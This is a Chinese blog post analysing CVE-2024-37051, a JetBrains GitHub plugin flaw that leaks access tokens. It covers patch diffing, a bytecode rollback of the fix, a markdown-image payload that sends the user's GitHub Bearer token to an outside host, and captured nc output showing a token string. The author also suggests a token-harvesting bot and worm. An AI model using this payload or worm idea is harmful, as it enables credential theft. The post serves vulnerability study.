CVE-2024-37051分析

端午节假期后上班的第一天,发现Jetbrains全家桶突然集体宣布更新,作为一个喜欢阅读ReleaseNote的人,发现这次更新仅仅是为了修复CVE,于是开始研究,IDE到底能有什么CVE,poc和exp到底长什么样。

加权:CVE-2024-37051 analyze

省流:Github插件在已登录的情况下,加载带有exp的仓库PR,渲染过程会将Github Token发送给PR里的攻击者。

端午节后日常CheckUpdate

作为一个Jetbrains培养出来的轮椅人,作为一个常年更新到latest的最靓的仔,早上CheckUpdate发现如下的情况,IDE齐刷刷地求着我更新,很多小众IDE的ReleaseNote仅有一行字,Fix CVE-2024-37051。

根据官方的漏洞公告 https://blog.jetbrains.com/security/2024/06/updates-for-security-issue-affecting-intellij-based-ides-2023-1-and-github-plugin/ ,霍,6月11日发布公告,这么热乎的漏洞,赶紧尝一尝吧,于是在24h内完成了分析并发布了本文。

管中窥豹,take a peek

我们来解读一下公告

In particular, malicious content as part of a pull request to a GitHub project which would be handled by IntelliJ-based IDEs, would expose access tokens to a third-party host.

首先,它的影响是泄露Github的access token,攻击方式疑似是创建恶意的PR,触发逻辑疑似是IDE加载恶意的PR。

In addition to assessing the issue and starting work on a resolution, we also immediately contacted GitHub to assist us with mitigation.

其次,该漏洞可以从Github服务端进行缓解,与上一句话对得上,是服务端返回的内容里带有了exp,通过联系Github官方把带有exp的页面删一删。

First and foremost, we strongly recommend updating to the latest version available for your IDE.

The JetBrains GitHub plugin has also been updated with the fix, and previously affected versions have been removed from JetBrains Marketplace.

修复方式:升级IDE。或升级插件,且已移除带漏洞的插件下载。

Furthermore, if you have actively used GitHub pull request functionality in the IDE, we strongly advise that you revoke any GitHub tokens being used by the plugin. Given that the plugin can use OAuth integration or Personal Access Token (PAT), please check both and revoke as necessary:

缓解措施:token可能已经泄露,删除token即可。

初窥门径,diff the plugins

上文便是一切已知信息了,正片开始!

首先直奔github仓库,看下官方patch长什么样,很遗憾,该链接下,https://github.com/JetBrains/intellij-community/commits/master/plugins/github 。截止至2024.6.11的最新commit是107ccf7a7d6a130bace463cf6cfa32b50d431add,官方依然未合入该patch,可能是出于隐蔽或暂无时间。

趁着旧版的IDE还在,赶紧把旧的plugin备份,和新的plugin进行diff。分享一个小技巧,Intellij IDEA自带的jar包比较工具是最好用的。参考链接:

插件位置是:%IDEA%/plugins/vcs-github,将其中的jar包拷贝出来,更新和升级,因此得到 old.jar 和 new.jar。

很遗憾,由于FernFlower对Java17和kotlin的支持并不好,反汇编99%是失败的,唯一信息是 org.jetbrains.plugins.github.api.GithubApiRequestExecutor 增加了 isAuthorizedUrl 方法,很可疑。

1
2
3
4
5
6
7
8
9
10
package org.jetbrains.plugins.github.api

public sealed class GithubApiRequestExecutor protected constructor() {
public companion object {
private final val LOG: com.intellij.openapi.diagnostic.Logger /* compiled code */

+ private const final val PLUGIN_USER_AGENT_NAME: kotlin.String = COMPILED_CODE /* compiled code */
+
+ private final fun isAuthorizedUrl(serverPath: org.jetbrains.plugins.github.api.GithubServerPath, url: java.net.URL): kotlin.Boolean { /* compiled code */ }
}

2024年了,反汇编工具居然还是在用 jd-gui,同样也不能应付这高贵的 java17+kotlin 的class文件,好在 isAuthorizedUrl 方法的引用只有一处,如下。

1
2
3
4
5
6
static final class GithubApiRequestExecutor$Factory$create$2 extends Lambda implements Function1<URL, String> {
@Nullable
public final String invoke(@NotNull URL it) {
Intrinsics.checkNotNullParameter(it, "it");
return GithubApiRequestExecutor.Companion.isAuthorizedUrl(this.$serverPath, it) ? this.$token : null;
}

对应github的旧版源码是:https://github.com/JetBrains/intellij-community/blob/107ccf7a7d6a130bace463cf6cfa32b50d431add/plugins/github/src/org/jetbrains/plugins/github/api/GithubApiRequestExecutor.kt#L249 ,它直接返回token,不会有任何校验。

1
2
3
internal class MutableTokenSupplier(token: String) : () -> String {
override fun invoke(): String = token
}

该文件另外一处明显的区别是增加了一个 Deprecated,余下的几个 Factory.create 的参数也进行了修改,均带上了 GithubServerPath 。

1
2
3
4
5
6
7
8
9
10
11
public static final class Factory {
@NotNull
public static final Companion Companion = new Companion(null);

@Deprecated(message = "Server must be provided to match URL for authorization")
@NotNull
public final GithubApiRequestExecutor create(@NotNull String token) {
Intrinsics.checkNotNullParameter(token, "token");
return create(true, new GithubApiRequestExecutor$Factory$create$1(token));
}
}

粗略阅读一下 isAuthorizedUrl 的逻辑,位于 GithubApiRequestExecutor$Companion.class,大意是对比 host 是否为约定的 "xxxxx.com" 或 "api.xxxxx.com",且校验端口,且校验协议,确实和漏洞公告里对得上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private final boolean isAuthorizedUrl(GithubServerPath serverPath, URL url) {
if (!Intrinsics.areEqual(url.getHost(), serverPath.getHost()) && !Intrinsics.areEqual(url.getHost(), serverPath.getApiHost())) {
GithubApiRequestExecutor.access$getLOG$cp().debug("URL " + url + " host does not match the server " + serverPath + ". Authorization will not be granted");
return false;
}
if (serverPath.getPort() == null)
serverPath.getPort();
if (serverPath.getPort() != Integer.valueOf(-1).intValue()) {
GithubApiRequestExecutor.access$getLOG$cp().debug("URL " + url + " port does not match the server " + serverPath + ". Authorization will not be granted");
return false;
}
if (url.getProtocol() != null && !Intrinsics.areEqual(url.getProtocol(), serverPath.getSchema())) {
GithubApiRequestExecutor.access$getLOG$cp().debug("URL " + url + " protocol does not match the server " + serverPath + ". Authorization will not be granted");
return false;
}
return true;
}

到这里,我们可以猜一下漏洞成因,在已登录和授权的情况下,Github插件和服务器通信时会使用Github的access token,由于某种错误原因,导致第三方站点有机会窃取到该token,patch校验了token和站点的绑定关系,从而修复漏洞。

出师不利,where is the path

目前为止,有足够的把握找到了漏洞的触发点,之后就得想办法构造exp了。这部分章节看起来很简单,其实花费了大量精力去触发。

搞安全是这样的,官方只管修复就行了,而EXP考虑得就很多了。——出自传奇二游《鸣潮》

猜测1:既然是第三方站点有机会窃取token,那么猜测在开发者在某些选项配置成第三方站点,从而截获到request里的token。

经过测试,当且仅当被打开的项目是github托管的仓库,该插件才会生效,功能也仅有如图所示的几个功能,基本没有输入URL的地方。

绝大部分host都被强制指定为了 github.com,唯一一个能输入URL的地方是,创建github enterprise account,但看来看去好像也不像。

猜测2:既然patch是给token加上host校验,那么猜测是不是多个account存在串台的现象,相互泄露对方的token。

体验功能后,认为该场景不够合理,正常人不会用IDE同时登陆多个Github账户。

猜测3:既然是PR页面被加载时触发漏洞,那么猜测是加载PR数据时,解析并加载了其中的某些URL(正确猜想)

阅读代码偶遇设计模式,跳来跳去强如怪物,拼尽全力也无法战胜,因此采用抓包的方式进行,直接将IDE的proxy配置为抓包的proxy即可正常抓包,发现仅有 api.github.com 的包会带上 Authorization字段,其值为 Bearer gho_*******,其来自 github 的 oauth 或 token 授权。

虽然看起来都是 "api.github.com" 下的请求,但万一其中某些字段是攻击者可控的,举一例,万一万一用户头像avatar能够指向站外,可能造成token泄露?

验证该猜想耗费了大量精力,见下一节。

兵贵神速,ban the elder plugin

思路转换,使用旧版本体验功能,抓包时观测哪些host下会带有token。很遗憾,这里遇到了大麻烦,上文提到的 we also immediately contacted GitHub to assist us with mitigation 可能起了作用,疑似把旧版本的UA给屏蔽了,旧版本的功能完全不可用,github返回403错误。

只能说,兵贵神速,jetbrains和github真是进行一个快速的修,旧版本功能直接彻底损坏。

暗度陈仓,defeat java class

作为一个老练的逆向工程选手,恰好又到了我擅长的领域,旧版本的没法用,新版本的被修了,在没有源码的情况下无法回滚版本,因此最终方案是进行 java bytecode patch,直接修改新版本的二进制来进行回滚。

2024年了,总不能还在用 java bytecode editor 这款老掉牙的工具吧,尝试了新的 https://github.com/Col-E/Recaf 工具,似乎对本场景依然无法生效,甚至 javap -c GithubApiRequestExecutor$Companion 也丢失内容。

罢,直接上 010editor 吧。

将各处的 return false 均修改为 return true即可,对应的字节码是:

1
2
3
- ICONST_0 # \x03
+ ICONST_1 # \x04
IRETURN # \xAC

最终效果如图

之后将class文件替换回jar包中,注意jar包虽然是zip包,但它是 Store 的,压缩率为零,替换时注意一下压缩格式。——来自CTF线下赛的经验。

再之后,还要将jar包封装为可以 Install Plugin from Disk 的zip格式,我依然选择狸猫换太子,从 https://plugins.jetbrains.com/plugin/13115-github 下载一份修复后的版本 241.17890.24,将制作好的 rollback.jar 替换进去。之后主动卸载自带的 Github 插件,安装我们rollback过的Github插件即可。

以及,需要先把 %IDEA%/plugins/vcs-github 删掉才能将它视为自定义的插件安装和hack。

以及这里还有一个莫名其妙的坑,一定要用WinRAR去更新这个ZipEntry,用下列命令做出来的jar,老是不被IDE认可。

1
2
3
# DONT USE IT!
zip -d vcs-github.jar "org/jetbrains/plugins/github/api/GithubApiRequestExecutor\$Companion.class"
zip -0 -u vcs-github.jar "org/jetbrains/plugins/github/api/GithubApiRequestExecutor\$Companion.class"

柳暗花明,show me the poc

经过一番努力,我们成功回滚了patch,且功能一切正常,开始抓包!

如下图所示,我是清楚地记得在新版本里,访问头像不会带上token,因为头像的域名 "avatars.githubusercontent.com" 不等于 "github.com" 和 "api.github.com",新版认为token不该被传递给该站点。

至此,基本的poc和思路有了,该漏洞确实存在滥发token的现象。

拨云见日,show me the exp

既然页面里的头像被加载时外带了 token 出去,那么页面里的其他元素呢?

到这里,有经验的读者其实已经有更大胆的想法了,PR是用markdown写的,markdown能够引用图片,github并未约束引用的图片是站内图片还是站外图片,因此进行一些尝试,在PR中评论类似的文本,之后进行抓包:

1
2
![](github-inner-picture)
![](3rd-website-picture)

抓包如图,确实会带上token,例如token被发送给了百度,exp已成功构造。

为了获得一个无害的exp,可以监听和使用本地的资源,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload: ![](http://127.0.0.1:12345/1.jpg)
command: nc -lvp 12345

result:
$ nc -lvp 12345
Listening on 0.0.0.0 12345
Connection received on localhost 9170
GET /1jpg HTTP/1.1
User-Agent: IntelliJ-GitHub-Plugin IntelliJ-IDEA/241.17890.1 (JRE 17.0.11+1-b1207.24; Windows 10.0; amd64)
Accept-Encoding: gzip
Authorization: Bearer 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
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:12345
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

蓦然回首,vuln is every where

经历了漫长的分析、猜想、验证、攻击,整个漏洞已经分析清楚了,很开心能在漏洞发布的24h内完成分析和利用。不得不说,到处都能出现漏洞,我绞尽脑汁都无法预料到这会出洞,能挖到这个洞的也是个人才,可能是挂着抓包代理无聊时候发现的吧。

最后谈谈危害,首先需要使用IDE的PR浏览功能,其次要加载到恶意的PR,在满足这两个条件的情况下,攻击者可以轻松地窃取到用户的token。例如编写一个github机器人,到处留言,在隐藏的位置使用markdown语法插入一个image reference,就能默默收集大量用户的access token。

再进一步,有了额外access token后,又可以使用它们去其他人的PR下留言,从而做一个蠕虫,听起来就很酷。

anyway,旧版本功能已损坏,新版本已修复,发出来也不会对网络有什么影响,各位看着图一乐吧,代码在:https://github.com/LeadroyaL/CVE-2024-37051-EXP